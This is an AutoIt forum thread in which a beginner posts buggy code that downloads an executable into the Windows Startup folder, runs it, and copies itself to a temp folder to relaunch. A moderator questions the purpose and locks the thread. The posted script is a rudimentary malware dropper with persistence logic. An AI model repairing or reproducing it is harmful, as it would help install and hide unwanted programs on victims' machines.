oracleserver Posted November 22, 2019 Posted November 22, 2019 Good Day Viewer, I am a very new|beginner in programming who started about two days ago with Autoit. I am trying to develop the script that download, copy to windows root directory and execute binary [.exe] downloaded file after copy from download from and windows root directory as well. Below is the code: #inlude <StaticConstants.au3> #inlude <WindowsContants.au3> $sFile=_DownloadFile("127.0.0.1/dir/notepad.exe') shellExecute($sFile) Func _DownloadFile($sURL) Local $hDownload, $sFile $sFile = StringRegExpReplace($sURL, "^.*/", "") $sDirectory = @StartupDir & $sFile $hDownload = InetGet($sURL, $sDirectory, 17, 1) InetClose($hDownload) Return $sDirectory If $CMDLine[0] > 0 and FileExists($CMDLine[1]) and @compiled = 1 Then Sleep(100) If StringRight($CMDLine[1], 4) = "notepad.exe" then FileDelete($CMDLine[1]) EndIf If @ScriptDir <> @tempdir & "\test" Then DirCreate(@tempdir & "\test") FileCopy(@autoitexe, @tempdir & "\test\" & @scriptname, 1) Run(@tempdir & "\test\" & @scriptname & ' "' & @scriptfullpath & '"') EndFunc ;==>_GetURLImage I appreciate your support in advance. Thank you
Developers Jos Posted November 22, 2019 Developers Posted November 22, 2019 1 hour ago, oracleserver said: I am trying to develop the script that download, copy to windows root directory and execute binary [.exe] downloaded file after copy from download from and windows root directory as well. Why as this kind of task doesn't sound like someone would want to do? Jos SciTE4AutoIt3 Full installer Download page - Beta files Read before posting How to post scriptsource Forum etiquette Forum Rules Live for the present, Dream of the future, Learn from the past.
Developers Jos Posted November 23, 2019 Developers Posted November 23, 2019 Locked until I receive a explanation via PM. Jos SciTE4AutoIt3 Full installer Download page - Beta files Read before posting How to post scriptsource Forum etiquette Forum Rules Live for the present, Dream of the future, Learn from the past.
Recommended Posts